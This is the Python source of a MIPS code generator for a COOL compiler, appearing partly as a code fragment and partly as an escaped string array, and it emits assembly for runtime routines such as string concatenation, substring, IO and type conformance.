self.write_file('addiu $sp $sp -4')
self.visit(cil.Call(dest = None, f = f'Main_{INIT_CIL_SUFFIX}'))
self.write_file('addiu $sp $sp 4')
# Push main self
self.write_file('sw $v0 0($sp)')
self.write_file('addiu $sp $sp -4')
self.visit(cil.Call(dest = None, f = 'Main_main'))
self.write_file('addiu $sp $sp 4')
self.write_file('li $v0 10')
self.write_file('syscall')
#----- OBJECT METHODS
def object_abort(self):
self.write_file('function_Object_abort:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.write_file('jr $ra')
self.write_file('')
def object_copy(self):
self.write_file('function_Object_copy:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.write_file('lw $t0 12($fp)')# recoger la instancia a copiar
self.write_file('lw $a0 4($t0)')
self.write_file('move $t4 $a0')
self.write_file('li $v0 9')
self.write_file('syscall')# guarda en v0 la direccion de memoria que se reservo
self.write_file('move $t2 $v0')# salvar la direccion donde comienza el objeto
self.write_file('li $t3 0') # size ya copiado
self.write_file('_objcopy_loop:', tabbed=False)
self.write_file('lw $t1 0($t0)') # cargar la palabra por la que voy
self.write_file('sw $t1 0($v0)') # copiar la palabra
self.write_file('addiu $t0 $t0 4') # posiciona el puntero en la proxima palabra a copiar
self.write_file('addiu $v0 $v0 4') # posiciona el puntero en la direccion donde copiar la proxima palabra
self.write_file('addiu $t3 $t3 4') # actualizar el size copiado
self.write_file('ble $t4 $t3 _objcopy_loop') # verificar si la condicion es igual o menor igual
self.write_file('_objcopy_div_end_:', tabbed=False)
self.write_file('move $v0 $t2') # dejar en v0 la direccion donde empieza el nuevo objeto
self.write_file('jr $ra')
self.write_file('')
def object_typename(self):
self.write_file('function_Object_type_name:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
# Box the string reference
self.visit(cil.Allocate(dest = None, ttype = STRING_CLASS)) # Create new String object
self.write_file('move $v1 $v0')
# Box string's length
self.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS) ) # Create new Int object
self.write_file('lw $a1 12($fp)') # self
self.write_file('lw $a1 0($a1)')
self.write_file('mulu $a1 $a1 4') # self's class tag
self.write_file('addu $a1 $a1 $s1') # class name table entry address
self.write_file('lw $a1 0($a1)') # Get class name address
self.write_file('move $a2 $0') # Compute string's length
self.write_file('move $t2 $a1')
self.write_file('_str_len_clsname_:', tabbed=False)
self.write_file('lb $a0 0($t2)')
self.write_file('beq $a0 $0 _end_clsname_len_')
self.write_file('addiu $a2 $a2 1')
self.write_file('addiu $t2 $t2 1')
self.write_file('j _str_len_clsname_')
self.write_file('_end_clsname_len_:', tabbed=False)
self.write_file('sw $a2, 12($v0)') # Store string's length
self.write_file('sw $v0, 12($v1)') # Fill String attributes
self.write_file('sw $a1, 16($v1)')
self.write_file('move $v0 $v1')
self.write_file('jr $ra')
self.write_file('')
#----- STRING METHODS
def string_length(self):
self.write_file('function_String_length:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.write_file('lw $a0 12($fp)') # Self
self.write_file('lw $v0 12($a0)')
self.write_file('jr $ra')
self.write_file('')
def string_concat(self):
self.write_file('function_String_concat:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS)) # Create new Int object
self.write_file('move $v1 $v0') # Save new Int Object
self.visit(cil.Allocate(dest = None, ttype = STRING_CLASS)) # Create new String object
self.write_file('move $t3 $v0') # Store new String object
self.write_file('lw $a1 12($fp)') # Self
self.write_file('lw $a2 16($fp)') # Boxed String to concat
self.write_file('lw $t1 12($a1)') # Self's length Int object
self.write_file('lw $t1 12($t1)') # Self's length
self.write_file('lw $t2 12($a2)') # strings to concat's length Int object
self.write_file('lw $t2 12($t2)') # strings to concat's length
self.write_file('addu $t0 $t2 $t1') # New string's length
self.write_file('sw $t0 12($v1)') # Store new string's length into box
self.write_file('lw $a1 16($a1)') # Unbox strings
self.write_file('lw $a2 16($a2)')
self.write_file('addiu $t0 $t0 1') # Add space for \0
self.allocate_memory('$t0', register=True) # Allocate memory for new string
self.write_file('move $t5 $v0') # Keep the string's reference in v0 and use t7
# a1: self's string a2: 2nd string t1: length self t2: 2nd string length
# v1: new string's int object
self.write_file('move $t4 $a1') # Index for iterating the self string
self.write_file('addu $a1 $a1 $t1') # self's copy limit
self.write_file('_strcat_copy_:', tabbed=False)
self.write_file('beq $t4 $a1 _end_strcat_copy_') # No more characters to copy
self.write_file('lb $a0 0($t4)') # Copy the character
self.write_file('sb $a0 0($t5)')
self.write_file('addiu $t5 $t5 1') # Advance indices
self.write_file('addiu $t4 $t4 1')
self.write_file('j _strcat_copy_')
self.write_file('_end_strcat_copy_:', tabbed=False)
# Copy 2nd string
self.write_file('move $t4 $a2') # Index for iterating the strings
self.write_file('addu $a2 $a2 $t2') # self's copy limit
self.write_file('_strcat_copy_snd_:', tabbed=False)
self.write_file('beq $t4 $a2 _end_strcat_copy_snd_') # No more characters to copy
self.write_file('lb $a0 0($t4)') # Copy the character
self.write_file('sb $a0 0($t5)')
self.write_file('addiu $t5 $t5 1') # Advance indices
self.write_file('addiu $t4 $t4 1')
self.write_file('j _strcat_copy_snd_')
self.write_file('_end_strcat_copy_snd_:', tabbed=False)
self.write_file('sb $0 0($t5)') # End string with \0
# $v0: reference to new string $v1: length int object
# $t3: new string object
# -> Create boxed string
self.write_file('sw $v1 12($t3)') # New length
self.write_file('sw $v0 16($t3)') # New string
self.write_file('move $v0 $t3') # Return new String object in $v0
self.write_file('jr $ra')
self.write_file('')
def string_substr(self):
self.write_file('function_String_substr:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.write_file(f'lw $t5 12($fp)') # self param
self.write_file(f'lw $a1 16($fp)') # reference of object int that represent i
self.write_file(f'lw $a1 12($a1)') # value of i
self.write_file(f'lw $a2 20($fp)') # reference of object int that represent j
self.write_file(f'lw $a2 12($a2)') # value of j that is length to copy
self.write_file(f'blt $a1 $0 _index_negative') # index i is negative
self.write_file(f'blt $a2 $0 _index_negative') # length j is negative
self.write_file(f'add $a2 $a1 $a2') # finish index
self.write_file(f'lw $a3 12($t5)')
self.write_file(f'lw $a3 12($a3)') # length of string
self.write_file(f'bgt $a2 $a3 _index_out') # j > lenght
# not errors
self.visit(cil.Allocate(dest = None, ttype = STRING_CLASS))
self.write_file(f'move $v1 $v0') # new string
self.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS))
self.write_file(f'move $t0 $v0') # lenght of string
self.write_file(f'move $t7 $a2')
self.write_file(f'subu $t7 $t7 $a1')
self.write_file(f'sw $t7 12($t0)') # save number that represent lenght of new string
self.allocate_memory('$a2', register=True) # $v0 -> address of the string
self.write_file(f'sw $t0 12($v1)') # store length
self.write_file(f'sw $v0 16($v1)') # store address of new string to String object
# generate substring
self.write_file('move $t1 $v0') # Index for iterating the new string
self.write_file('lw $t5 16($t5)') # Index for iterating the self string
self.write_file('move $t4 $t5')
self.write_file('addu $t4 $t4 $a1') # self's copy start
self.write_file('addu $t5 $t5 $a2') # self's copy limit
self.write_file('_substr_copy_:', tabbed=False)
self.write_file('bge $t4 $t5 _end_substr_copy_') # No more characters to copy
self.write_file('lb $a0 0($t4)') # Copy the character
self.write_file('sb $a0 0($t1)')
self.write_file('addiu $t1 $t1 1') # Advance indices
self.write_file('addiu $t4 $t4 1')
self.write_file('j _substr_copy_')
# errors sections
self.write_file(f'_index_negative:',tabbed=False)
self.write_file(f'la $a0 _index_negative_msg')
self.write_file(f'b _subst_abort')
self.write_file(f'_index_out:',tabbed=False)
self.write_file(f'la $a0 _index_out_msg')
self.write_file(f'b _subst_abort')
# abort execution
self.write_file(f'_subst_abort:',tabbed=False)
self.write_file(f'li $v0 4')
self.write_file(f'syscall')
self.write_file('la $a0 _abort_msg')
self.write_file(f'li $v0 4')
self.write_file(f'syscall')
self.write_file(f'li $v0 10')
self.write_file(f'syscall') # exit
# successful execution
self.write_file('_end_substr_copy_:', tabbed=False)
self.write_file('move $v0 $v1')
self.write_file('jr $ra')
self.write_file('')
#----- IO
def io_in_int(self):
self.write_file('function_IO_in_int:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS)) # Create new Int object
self.write_file('move $t0 $v0') # Save Int object
self.write_file('li $v0 5') # Read int
self.write_file('syscall')
self.write_file('sw $v0 12($t0)') # Store int
self.write_file('move $v0 $t0')
self.write_file('jr $ra')
self.write_file('')
def io_in_string(self):
self.write_file('function_IO_in_string:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS)) # Create new Int object for string's length
self.write_file('move $v1 $v0') # $v1: Int pbject
self.visit(cil.Allocate(dest = None, ttype = STRING_CLASS)) # Create new String object
self.write_file('sw $v1 12($v0)')
self.write_file('move $t5 $v0') # $t5: String object
# Read String and store in a temp buffer
self.write_file('la $a0 str_buffer')
self.write_file('li $a1 1025')
self.write_file('li $v0 8') # Read string
self.write_file('syscall')
# Compute string's length
self.write_file('move $a0 $0')
self.write_file('la $t2 str_buffer')
self.write_file('_in_string_str_len_:', tabbed=False)
self.write_file('lb $t0 0($t2)')
self.write_file('beq $t0 $0 _end_in_string_str_len_')
self.write_file('beq $t0 10 _end_in_string_str_len_')
self.write_file('addiu $a0 $a0 1')
self.write_file('addiu $t2 $t2 1')
self.write_file('j _in_string_str_len_')
self.write_file('_end_in_string_str_len_:', tabbed=False)
# Store string's length into Integer class
self.write_file('sw $a0 12($v1)')
# Allocate size in $a0 ... string's length
self.allocate_memory()
# $a0: string's length $v0: string's new address $t5: String object
# Copy string from buffer to new address
self.write_file('la $t4 str_buffer') # Index for iterating the string buffer
self.write_file('move $t1 $v0') # Index for iterating new string address
self.write_file('_in_str_copy_:', tabbed=False)
self.write_file('lb $t0 0($t4)') # Load a character
self.write_file('beq $t0 $0 _end_in_str_copy_') # No more characters to copy
self.write_file('beq $t0 10 _end_in_str_copy_') # No more characters to copy
self.write_file('sb $t0 0($t1)') # Copy the character
self.write_file('addiu $t4 $t4 1') # Advance indices
self.write_file('addiu $t1 $t1 1')
self.write_file('j _in_str_copy_')
self.write_file('_end_in_str_copy_:', tabbed=False)
# Store string
self.write_file('sw $v0 16($t5)')
# Clean string buffer
self.write_file('la $t4 str_buffer') # Index for iterating the string buffer
self.write_file('_in_str_clean_:', tabbed=False)
self.write_file('lb $t0 0($t4)') # Load a character
self.write_file('beq $t0 $0 _end_in_str_clean_') # No more characters to clean
self.write_file('sb $0 0($t4)') # Clean the character
self.write_file('addiu $t4 $t4 1') # Advance indices
self.write_file('j _in_str_clean_')
self.write_file('_end_in_str_clean_:', tabbed=False)
# Return new string in $v0
self.write_file('move $v0 $t5')
self.write_file('jr $ra')
self.write_file('')
def io_out_int(self):
self.write_file('function_IO_out_int:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.write_file('lw $a0 16($fp)') # Get Int object
self.write_file('lw $a0 12($a0)')
self.write_file('li $v0 1') # Print int
self.write_file('syscall')
self.write_file('lw $v0 12($fp)') # Return self
self.write_file('jr $ra')
self.write_file('')
def io_out_string(self):
self.write_file('function_IO_out_string:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.write_file('lw $a0 16($fp)') # Get String object
self.write_file('lw $a0 16($a0)')
self.write_file('li $v0 4') # Print string
self.write_file('syscall')
self.write_file('lw $v0 12($fp)') # Return self
self.write_file('jr $ra')
self.write_file('')
#------ CONFORMS
def conforms(self):
self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.write_file(f'lw $t0 12($fp)') # First arg's class tag
self.write_file(f'lw $t1 16($fp)') # Second arg's class tag
# 2nd arg == Object -> return true
self.write_file(f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_')
self.write_file('_conforms_loop_:', tabbed=False)
# current == 2nd arg -> return true
self.write_file('beq $t0 $t1 _conforms_ret_true_')
# current == Object -> return false
self.write_file(f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_')
# Query parents's class tag from $s2 ... class parent table
self.write_file('mulu $t0 $t0 4')
self.write_file('addu $t0 $t0 $s2')
self.write_file('lw $t0 0($t0)') # current = current.parent
self.write_file('j _conforms_loop_')
self.write_file('_conforms_ret_true_:', tabbed=False)
self.write_file('li $v0 1')
self.write_file('j _conforms_ret_')
self.write_file('_conforms_ret_false_:', tabbed=False)
self.write_file('li $v0 0')
# No need to store result in a Bool class
self.write_file('_conforms_ret_:')
self.write_file('jr $ra')
self.write_file('')
#------ ISVOID
def isvoid(self):
self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest = None, ttype = BOOLEAN_CLASS))
# $v0 contains new Bool object
self.write_file(f'lw $t0 12($fp)') # 1st arg is an object address
self.write_file(f'la $t1 {VOID_MIPS_NAME}')
self.write_file(f'beq $t0 $t1 _is_void_true_') # arg == void type
self.write_file(f'sw $0 12($v0)') # return False
self.write_file(f'j _is_void_end_')
self.write_file(f'_is_void_true_:', tabbed=False)
self.write_file(f'li $t0 1')
self.write_file(f'sw $t0 12($v0)') # return True
self.write_file(f'_is_void_end_:', tabbed=False)
# Return Bool object in $v0
self.write_file(f'jr $ra')
self.write_file(f'')
|
[
"\n\"\"\"\nRegisters $v0 and $v1 are used to return values from functions.\nRegisters $t0 – $t9 are caller-saved registers that are used to\nhold temporary quantities that need not be preserved across calls\nRegisters $s0 – $s7 (16–23) are callee-saved registers that hold long-lived\nvalues that should be preserved across calls. They are preserved across calls\nRegister $gp is a global pointer that points to the middle of a 64K block\nof memory in the static data segment. Preserve across calls\nRegister $fp is the frame pointer. Register $fp is saved by every procedure\nthat allocates a new stack frame.Preserve across calls\nRegister $sp is the stack pointer, which points to the last location on\nthe stack(Points to Free Memory). Preserve across calls\nRegister $ra only needs to be saved if the callee itself makes a call.\nRegister $s0 <- Prototypes table\nRegister $s1 <- Class Names table\nRegister $s2 <- Class parents table\n\n0($fp): some local variable\n4(%fp): old $ra\n8(%fp): old $fp\n12(%fp): 1st argument Self\n.....\n\n\tClass Name table layout\noffset 0 - \"Class1\"\noffset 4 - \"Class2\"\noffset 8 - \"Class3\"\n.....\n\n\tPrototypes Table layout\noffset 0 - protObj1\noffset 4 - Obj1_init\noffset 8 - protObj2\noffset 12 - Obj2_init\n.....\n\n\tDispatch Table layout:\noffset 0 - addres of method m0\noffset 1 - addres of method m1\n.....\n\n Prototype layout:\noffset 0 - Class tag : int that identifies the class of the object\noffset 4 - Object size :(in 32-bit words) = 12 + 4 * (number of attributes)\noffset 8 - Dispatch pointer : pointer to the table of virtual methods\noffset 12. . . Attributes\n\"\"\"\n\nimport sys\nsys.path.append('..')\n\nimport commons.cil_ast as cil\nimport commons.visitor as visitor\nfrom commons.settings import *\n\n\n\n\nclass MipsVisitor:\n\t\"\"\"\n\tMips Visitor Class.\n\n\tThis visitor will process the AST of the generated CIL and write the mips code to a file.\n\t\"\"\"\n\n\tdef __init__(self, inherit_graph, output_file=\"mips_code.mips\"):\n\t\tself.inherit_graph, _ = inherit_graph\n\t\t\n\t\tself.offset = dict()\n\t\tself.type_index = []\n\t\tself.dispatchtable_code = []\n\t\tself.prototypes_code = []\n\t\tself.cur_labels_id = 0\n\n\t\tself.output_file = output_file\n\n\t# ======================================================================\n\t# =[ UTILS ]============================================================\n\t# ======================================================================\n\n\n\tdef push(self):\n\t\tself.write_file('sw $a0 0($sp)')\n\t\tself.write_file('addiu $sp $sp -4')\n\n\tdef pop(self, dest=None):\n\t\tself.write_file(f'addiu $sp $sp 4')\n\n\n\tdef write_file(self, msg, mode = \"a\", tabbed=True):\n\t\tf = open(self.output_file, mode)\n\t\tf.write(\"{}{}\\n\".format(\"\\t\" if tabbed else \"\", msg))\n\t\tf.close()\n\n\tdef allocate_memory(self, size=None, register=False):\n\t\tif register:\n\t\t\tself.write_file('move $a0 {}'.format(size))\n\t\telse:\n\t\t\tif size:\n\t\t\t\tself.write_file('li $a0 {}'.format(size))\n\t\tself.write_file('li $v0 9')\n\t\tself.write_file('syscall')\n\n\tdef new_labels_id(self):\n\t\tself.cur_labels_id += 1\n\t\treturn self.cur_labels_id\n\n\t# ======================================================================\n\n\[email protected]('node')\n\tdef visit(self, node):\n\t\tpass\n\n\n################################ PROGRAM #####################################\n\n\n\[email protected](cil.Program)\n\tdef visit(self, node: cil.Program):\n\t\tself.write_file('', \"w\")\n\n\t\t#-------------------- DATA SECTION ----------------------------\n\n\t\tself.write_file('.data', tabbed = False)\n\n\t\t# Declare static data\n\t\tself.static_datas()\n\n\t\t# Transpile CIL data section\n\t\tfor data in node.data_section:\n\t\t\tself.visit(data)\n\t\tself.write_file('')\n\n\t\t# Declare class name strings and map class index\n\t\tfor i in range(len(node.type_section)):\n\t\t\tself.type_index.append(node.type_section[i].type_name)\n\t\t\tself.write_file('classname_{}: .asciiz \\\"{}\\\"'.format(node.type_section[i].type_name,node.type_section[i].type_name))\n\n\t\t# Declare void type\n\t\tself.write_file(f'{VOID_MIPS_NAME}: .asciiz \\\"\\\"')\n\n\t\t#-------------------- TEXT SECTION ----------------------------\n\n\t\tself.write_file('\\n.text')\n\t\tself.entry()\n\n\t\tself.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n\t\t# CONFORMS\n\t\tself.conforms()\n\t\t# IS_VOID\n\t\tself.isvoid()\n\t\t# OBJECT\n\t\tself.object_abort()\n\t\tself.object_copy()\n\t\tself.object_typename()\n\t\t# STRING\n\t\tself.string_length()\n\t\tself.string_concat()\n\t\tself.string_substr()\n\t\t# IO\n\t\tself.io_in_int()\n\t\tself.io_in_string()\n\t\tself.io_out_int()\n\t\tself.io_out_string()\n\n\t\tfor t in node.type_section:\n\t\t\tself.visit(t)\n\n\t\tself.write_file('\\n############## TABLES ################\\n')\n\n\t\t# Generate method that creates classes's name table\n\t\tself.write_file('function_build_class_name_table:', tabbed=False)\n\t\tself.allocate_memory(len(node.type_section) * 4)\n\t\tself.write_file('move $s1 $v0') # save the address of the table in a register\n\t\tfor i in range(len(node.type_section)):\n\t\t\tself.write_file('la $t1 classname_{}'.format(node.type_section[i].type_name))\n\t\t\tself.write_file('sw $t1 {}($s1)'.format(4 * i))\n\t\tself.write_file('')\n\n\t\t# Generate method that allocates memory for prototypes table\n\t\tself.write_file('function_allocate_prototypes_table:', tabbed=False)\n\t\tself.allocate_memory(8 * len(self.type_index))\n\t\tself.write_file('move $s0 $v0') # save the address of the table in a register\n\t\tself.write_file('')\n\n\t\t# Generate mips method that builds prototypes\n\t\tself.write_file('function_build_prototypes:', tabbed=False)\n\t\tfor ins in self.prototypes_code:\n\t\t\tself.write_file(ins)\n\t\tself.write_file('')\n\n\t\t# Generate mips method that builds dispatch tables\n\t\tself.write_file('function_build_dispatch_tables:', tabbed=False)\n\t\tfor ins in self.dispatchtable_code:\n \t\t\tself.write_file(ins)\n\t\tself.write_file('')\n\t\t\n\t\t# Generate method that builds class parents table\n\t\tself.write_file('function_build_class_parents_table:', tabbed=False)\n\t\tself.allocate_memory(4 * len(self.type_index))\n\t\tself.write_file('move $s2 $v0') # save the address of the table in a register\n\t\tself.write_file('')\n\n\t\t# Fill table entry for each class type\n\t\tfor parent in self.inherit_graph.keys():\n\t\t\tp_index = self.type_index.index(parent)\n\t\t\tfor child in self.inherit_graph[parent]:\n\t\t\t\tch_index = self.type_index.index(child.name)\n\t\t\t\tself.write_file(f'li $t0 {ch_index}')\n\t\t\t\tself.write_file(f'mul $t0 $t0 4')\n\t\t\t\tself.write_file(f'add $t0 $t0 $s2')\n\t\t\t\tself.write_file(f'li $t1 {p_index}')\n\t\t\t\tself.write_file(f'sw $t1 0($t0)')\n\t\t\t\tself.write_file('')\n\n\t\tself.write_file('')\n\n\n\t\t# Generate COOL functions\n\t\tself.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n\t\tfor func in node.code_section:\n\t\t\tis_built_in = False\n\t\t\tif not INIT_CIL_SUFFIX in func.name:\n\t\t\t\tis_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in func.name] != []\n\t\t\tif not is_built_in:\n\t\t\t\tself.visit(func)\n\t\tself.write_file('\\n#####################################\\n')\n\n\n\n################################ .DATA #######################################\n\n\n\[email protected](cil.Data)\n\tdef visit(self, node: cil.Data):\n\t\tself.write_file(f'{node.dest}: .asciiz \\\"{str(node.value.encode())[2:-1]}\\\"')\n\n\n################################ TYPES #######################################\n\n\n\[email protected](cil.Type)\n\tdef visit(self, node: cil.Type):\n\t\t# Allocate\n\t\tself.dispatchtable_code.append(f'# Type {node.type_name}')\n\t\tself.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.methods)))\n\t\tself.dispatchtable_code.append('li $v0 9')\n\t\tself.dispatchtable_code.append('syscall')\n\n\t\t# Add dispatch table code\n\t\tfor i in range(len(node.methods)):\n\t\t\tself.dispatchtable_code.append('la $t1 function_{}'.format(node.methods[i].function_name))\n\t\t\tself.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n\t\tself.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.type_index.index(node.type_name)))\n\t\tself.dispatchtable_code.append('sw $v0 8($t0)')\n\t\tself.dispatchtable_code.append('')\n\n\t\t# Allocate\n\t\tself.prototypes_code.append(f'# Type {node.type_name}')\n\t\tself.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.attributes)))\n\t\tself.prototypes_code.append('li $v0 9')\n\t\tself.prototypes_code.append('syscall')\n\n\t\t# Add prototype code\n\t\tclass_index = self.type_index.index(node.type_name)\n\t\tself.prototypes_code.append('li $a0 {}'.format(class_index))\n\t\tself.prototypes_code.append('sw $a0 0($v0)')\n\t\tself.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.attributes)))\n\t\tself.prototypes_code.append('sw $a0 4($v0)')\n\t\tself.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n\t\tself.prototypes_code.append('')\n\n\n\[email protected](cil.Function)\n\tdef visit(self, node: cil.Function):\n\t\tself.write_file(f'function_{node.name}:', tabbed=False)\n\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\t\tself.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n\n\t\t# Register arguments offsets\n\t\tfor i in range(len(node.args)):\n\t\t\tself.offset[node.args[i].name] = 12 + i * 4\n\n\t\t# Register locals offsets\n\t\tfor i in range(len(node.vlocals)):\n\t\t\tself.offset[node.vlocals[i].name] = i * (-4)\n\n\t\t# Generate mips code for the function's body\n\t\tfor inst in node.body:\n\t\t\t# Equal node needs unique id for its labels\n\t\t\tif isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n\t\t\t\tinst.id = self.new_labels_id()\n\n\t\t\tself.visit(inst)\n\n\t\t# Pop the stack frame\n\t\tself.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n\n\t\t# Return\n\t\tself.write_file('jr $ra')\n\n\t\tself.write_file('')\n\n\n############################## ASSIGNMENT ####################################\n\n\n\[email protected](cil.Assign)\n\tdef visit(self, node: cil.Assign):\n\t\tself.write_file('# ASSIGN')\n\t\tself.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n\t\tself.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n\t\tself.write_file('')\n\n\n############################# ARITHMETICS ####################################\n\n\n\[email protected](cil.Plus)\n\tdef visit(self, node: cil.Plus):\n\t\tself.write_file('# +')\n\t\tself.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n\t\tself.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n\t\tself.write_file('add $a0, $a0, $a1')\n\t\tself.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n\t\tself.write_file('')\n\n\[email protected](cil.Minus)\n\tdef visit(self, node: cil.Minus):\n\t\tself.write_file('# -')\n\t\tif isinstance(node.left, int):\n\t\t\tself.write_file('li $a0 {}'.format(node.left))\n\t\telse:\n\t\t\tself.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n\t\tself.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n\t\tself.write_file('sub $a0, $a0, $a1')\n\t\tself.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n\t\tself.write_file('')\n\n\[email protected](cil.Mult)\n\tdef visit(self, node: cil.Mult):\n\t\tself.write_file('# *')\n\t\tself.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n\t\tself.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n\t\tself.write_file('mul $a0, $a0, $a1')\n\t\tself.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n\t\tself.write_file('')\n\n\[email protected](cil.Div)\n\tdef visit(self, node: cil.Div):\n\t\tself.write_file('# /')\n\t\tself.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n\t\tself.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n\t\tself.write_file(f'beqz $a1 _div_error_{node.id}_')\n\t\tself.write_file('div $a0, $a0, $a1')\n\t\tself.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n\t\tself.write_file(f'b _div_end_{node.id}_')\n\t\tself.write_file(f'_div_error_{node.id}_:',tabbed=False)\n\t\tself.write_file('la $a0 _div_zero_msg')\n\t\tself.write_file('li $v0 4')\n\t\tself.write_file('syscall')\n\t\tself.write_file('la $a0 _abort_msg')\n\t\tself.write_file('li $v0 4')\n\t\tself.write_file('syscall')\n\t\tself.write_file('li $v0 10')\n\t\tself.write_file('syscall')\n\t\tself.write_file(f'_div_end_{node.id}_:',tabbed=False)\n\n\n############################# COMPARISONS ####################################\n\n\n\[email protected](cil.Equal)\n\tdef visit(self, node: cil.Equal):\n\t\tself.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n\t\tself.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n\t\tself.write_file(f'beq $t0 $zero _eq_false_{node.id}_') # $t0 can't also be void\n\t\tself.write_file(f'beq $t1 $zero _eq_false_{node.id}_') # $t1 can't also be void\n\t\tself.write_file('lw $a0 0($t0)')\t# get object 1 tag\n\t\tself.write_file('lw $a1 0($t1)')\t# get object 2 tag\n\t\tself.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\t# compare tags\n\t\tself.write_file('li $a2 {}'.format(self.type_index.index(INTEGER_CLASS)))\t# load int tag\n\t\tself.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\t# Integers\n\t\tself.write_file('li $a2 {}'.format(self.type_index.index(BOOLEAN_CLASS)))\t# load bool tag\n\t\tself.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\t# Booleans\n\t\tself.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))) # load string tag\n\t\tself.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_') # Not a primitive type\n\n\t\t# equal strings\n\t\t# verify len of the strings\n\t\tself.write_file(f'_eq_str_{node.id}_:', tabbed = False) \t# handle strings\n\t\tself.write_file('lw\t$t3 12($t0)') # get string_1 size\n\t\tself.write_file('lw\t$t3 12($t3)') # unbox string_1 size\n\t\tself.write_file('lw\t$t4, 12($t1)') # get string_2 size\n\t\tself.write_file('lw\t$t4, 12($t4)') # unbox string_2 size\n\t\tself.write_file(f'bne $t3 $t4 _eq_false_{node.id}_') # string size are distinct\n\t\tself.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\t # if strings are empty\n\n\t\t# Verify ascii secuences\n\t\tself.write_file('addu $t0 $t0 16')\t# Point to start of string s1\n\t\tself.write_file('lw $t0 0($t0)')\n\t\tself.write_file('addu $t1 $t1 16') \t# Point to start of string s2\n\t\tself.write_file('lw $t1 0($t1)')\n\t\tself.write_file('move $t2 $t3')\t\t# Keep string length as counter\n\t\tself.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed = False)\n\t\tself.write_file('lb $a0 0($t0)')\t# get char of s1\n\t\tself.write_file('lb $a1 0($t1)')\t# get char of s2\n\t\tself.write_file(f'bne $a0 $a1 _eq_false_{node.id}_') # char s1 /= char s2\n\t\tself.write_file('addu $t0 $t0 1')\n\t\tself.write_file('addu $t1 $t1 1')\n\t\tself.write_file('addiu $t2 $t2 -1')\t# Decrement counter\n\t\tself.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n\t\tself.write_file(f'b _eq_true_{node.id}_')\t\t# end of strings\n\n\t\tself.write_file(f'_not_basic_type_{node.id}_:', tabbed = False)\n\t\tself.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n\t\tself.write_file(f'b _eq_true_{node.id}_')\n\n\t\t# equal int or boolf\n\t\tself.write_file(f'_eq_int_bool_{node.id}:', tabbed = False)\t# handles booleans and ints\n\t\tself.write_file('lw $a3 12($t0)')\t# load value variable_1\n\t\tself.write_file('lw $t4 12($t1)') # load variable_2\n\t\tself.write_file(f'bne $a3 $t4 _eq_false_{node.id}_') # value of int or bool are distinct\n\n\t\t#return true\n\t\tself.write_file(f'_eq_true_{node.id}_:', tabbed = False)\n\t\tself.write_file('li $a0 1')\n\t\tself.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n\t\tself.write_file(f'b end_equal_{node.id}_')\n\n\t\t#return false\n\t\tself.write_file(f'_eq_false_{node.id}_:', tabbed = False)\n\t\tself.write_file('li $a0 0')\n\t\tself.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n\t\tself.write_file(f'end_equal_{node.id}_:', tabbed = False)\n\n\[email 